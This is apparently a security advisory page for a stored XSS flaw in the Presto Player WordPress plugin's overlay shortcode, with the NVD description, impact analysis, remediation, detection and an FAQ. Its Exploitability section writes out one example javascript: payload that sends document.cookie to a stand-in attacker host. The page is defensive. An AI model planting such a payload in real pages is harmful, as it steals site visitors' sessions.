CVE-2026-9125: Presto Player WordPress Plugin Stored XSS Vulnerability (v4.2.0)
A stored cross-site scripting (XSS) flaw exists in the Presto Player WordPress plugin affecting versions up to 4.2.0. An authenticated user with contributor-level permissions can inject malicious JavaScript code into pages by manipulating the 'link_url' parameter in the [presto_player_overlay] shortcode. Unlike reflected XSS attacks that require tricking users into clicking a link, this vulnerability persists in the database, meaning any visitor to an affected page will automatically execute the attacker's script without additional interaction. The attack relies on the plugin failing to properly validate that URLs only use safe schemes (like 'http' or 'https'), allowing attackers to sneak in 'javascript:' URIs that execute when users click overlay elements.
Source data · NVD / CISA · public domain
- CVSS
- 3.1 · 6.4 MEDIUM · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Weaknesses (CWE)
- CWE-79
- Affected products
- 0 configuration(s)
- Published / Modified
- 2026-06-12 / 2026-06-17
NVD description (verbatim)
The Presto Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link_url' parameter of the [presto_player_overlay] shortcode in versions up to, and including, 4.2.0 This is due to insufficient input sanitization and output escaping in the getOverlays() function, which copies the link_url shortcode attribute directly into the overlay configuration without scheme validation, allowing javascript: URIs to survive and be rendered as the href of a clickable anchor element by the presto-dynamic-overlay-ui web component. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
10 reference(s) · View on NVD →
SEC.co analysis · AI-assisted, reviewed against source
Technical summary
The vulnerability stems from insufficient input sanitization in the getOverlays() function within Presto Player versions ≤4.2.0. The plugin accepts a 'link_url' shortcode parameter and copies it directly into the overlay configuration object rendered by the presto-dynamic-overlay-ui web component without validating the URL scheme. This allows attackers to inject javascript: URIs, which are then rendered as href attributes on anchor elements. When a user clicks the overlay link, the injected JavaScript executes in their browser context with the same privileges as the page. The lack of output escaping means the malicious payload is preserved during rendering. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), and requires authentication at contributor level or higher, limiting the attack surface to trusted users with editing capabilities.
Business impact
Organizations using Presto Player face a data exfiltration and privilege escalation risk. An attacker with contributor access—such as a disgruntled employee, compromised account, or invited guest author—can silently inject scripts into published pages. These scripts execute in the context of site visitors, potentially stealing session cookies, capturing form data, redirecting users to malicious sites, or performing actions on their behalf. For multi-author WordPress sites, the risk is particularly acute, as any contributor-level account could be used to compromise the entire site's audience. The CVSS score of 6.4 reflects this as a medium-severity risk: broad attack surface (networked), straightforward exploitation (low complexity), but requiring authentication to trigger.
Affected systems
The Presto Player WordPress plugin is affected in all versions up to and including 4.2.0. Any WordPress installation using this plugin at a vulnerable version, combined with users who hold contributor role or higher (contributors, authors, editors, administrators), creates exposure. WordPress multisite installations where contributors can publish content are at heightened risk. The vulnerability does not affect Presto Player versions released after 4.2.0, pending vendor confirmation of patch availability.
Exploitability
Exploitation is straightforward for anyone with WordPress contributor access or above. No special tools or complex payloads are required—an attacker simply needs to create or edit a page/post containing a [presto_player_overlay] shortcode and set the link_url parameter to a javascript: URI containing arbitrary code (e.g., link_url="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"). The payload is immediately stored and executes on page view. The vulnerability is not currently tracked in CISA's Known Exploited Vulnerabilities (KEV) catalog, but the simplicity of exploitation means real-world abuse is likely once details become widely known. Requires user interaction (clicking the overlay link), but that interaction happens naturally as users browse the page.
Remediation
Organizations should immediately audit WordPress installations running Presto Player ≤4.2.0 to identify vulnerable shortcodes. Verify whether any pages or posts contain [presto_player_overlay] shortcodes with suspicious link_url values. Update Presto Player to the latest available version from the official WordPress plugin repository; check the vendor's changelog to confirm the XSS fix is included. If an immediate patch is unavailable, consider disabling the Presto Player plugin or removing all [presto_player_overlay] shortcodes from published content until a fix is released. Additionally, review access logs and post revisions to detect unauthorized shortcode injection by compromised contributor accounts.
Patch guidance
Verify the latest version of Presto Player available in the WordPress plugin repository and review the official vendor advisory or changelog to confirm that the XSS vulnerability in the getOverlays() function and link_url parameter handling has been resolved. Update via the WordPress admin dashboard (Plugins > Installed Plugins > Presto Player > Update) or via command line (wp plugin update presto-player if using WP-CLI). After updating, clear any caching layers and confirm the plugin version reflects the patch. Organizations with auto-update policies should ensure Presto Player is configured for automatic minor/major updates to reduce future exposure windows.
Detection guidance
Search the WordPress database and post content for [presto_player_overlay] shortcodes containing link_url attributes with 'javascript:' schemes or obfuscated variants. Query wp_posts and wp_postmeta tables for post_content matching regex patterns like 'javascript:|data:text/html' in shortcode parameters. Enable WordPress post revision history review to identify unauthorized shortcode additions or modifications by contributor accounts. Monitor web server access logs for unusual click patterns or referrers from your domain targeting javascript: URIs. Implement a Web Application Firewall (WAF) rule to flag or block requests to pages containing [presto_player_overlay] shortcodes with suspicious link_url parameters until patching is complete. Consider enabling WordPress security plugins with shortcode sanitization features.
Why prioritize this
While the CVSS score of 6.4 places this in the medium-risk category, the practical impact for WordPress sites is significant. The vulnerability requires authentication but allows an insider or compromised contributor to poison shared content for all site visitors. The simplicity of exploitation, combined with the wide deployment of WordPress and popularity of player plugins, creates moderate aggregate risk. Prioritize patching if your organization relies on contributor-based content workflows or hosts user-generated content. Sites with strict access controls limiting contributor accounts can take a slightly longer time window (weeks rather than days) to patch, but should not defer indefinitely.
Risk score, explained
The CVSS 3.1 score of 6.4 (MEDIUM) reflects: (AV:N) network-accessible plugin, (AC:L) low attack complexity—simple shortcode injection, (PR:L) requires login and contributor role or above, (UI:N) no additional user interaction by the attacker to store the payload, (S:C) scope change because the injected script affects other users, (C:L) low confidentiality impact (session theft is possible but not guaranteed), (I:L) low integrity impact (site content/user actions modified), (A:N) no availability impact. The score appropriately downweights the threat due to authentication requirements but recognizes the cross-user scope change and persistent nature of stored XSS.
Frequently asked questions
Can this vulnerability be exploited by someone without a WordPress account?
No. The vulnerability requires at least contributor-level access to WordPress, meaning the attacker must have a valid account and explicit publishing permissions. Unauthenticated visitors cannot inject the malicious shortcode; they can only execute an attacker's previously injected code when they visit a compromised page.
Does updating WordPress itself protect against this vulnerability?
No. This is a vulnerability in the Presto Player plugin, not WordPress core. You must update the Presto Player plugin specifically. WordPress updates do not automatically update third-party plugins; you must initiate plugin updates separately.
What should I do if I discover injected shortcodes on my site?
Immediately remove or revert any suspicious [presto_player_overlay] shortcodes from affected posts/pages using the WordPress editor. Check the post revision history to identify when and by whom the injection occurred. Review the contributor's recent edits for other malicious content, consider resetting their password, and investigate whether their credentials were compromised. Update Presto Player and audit all contributor accounts for unauthorized changes.
If I disable the Presto Player plugin, will stored shortcodes cause problems?
Stored shortcodes will not execute if the plugin is disabled, but they will render as plain text in the page content. For a cleaner approach, either remove the shortcodes before disabling the plugin or keep the plugin disabled until you patch it and can safely re-enable it. Do not re-enable an unpatched version.
This analysis is provided for informational purposes and does not constitute legal, technical, or operational advice. Patch availability, version numbers, and remediation timelines are subject to change and should be verified against official vendor advisories and the WordPress plugin repository. Organizations should conduct independent security assessments and testing before deploying patches in production environments. SEC.co does not warrant the completeness, accuracy, or timeliness of this information and assumes no liability for its use. Source: NVD (public-domain), retrieved 2026-07-20. Analysis generated by SEC.co (claude-haiku-4-5).
Weaknesses (CWE)
Related vulnerabilities
- CVE-2016-20070MEDIUMPrivilege Escalation & Stored XSS in WordPress Booking Calendar Contact Form 1.0.23
- CVE-2018-25384MEDIUMStored XSS in Wikidforum 2.20 Allows Authenticated Attackers to Inject Malicious Scripts
- CVE-2019-25731MEDIUMStored XSS in Zuz Music 2.1 Contact Form
- CVE-2019-25737MEDIUMStored XSS in Live Chat Unlimited 2.8.3 – Admin Session Compromise
- CVE-2019-25739MEDIUMGigToDo 1.3 Stored XSS Vulnerability in Proposal Descriptions
- CVE-2019-25742MEDIUMStored XSS in Zoner Real Estate WordPress Theme 4.1.1 – Admin Account Compromise Risk
- CVE-2019-25743MEDIUMWordPress Soliloquy Lite 2.5.6 Stored XSS Vulnerability
- CVE-2019-25744MEDIUMWordPress Popup Builder 3.49 Stored XSS Vulnerability – Exploit Prevention & Patch Guide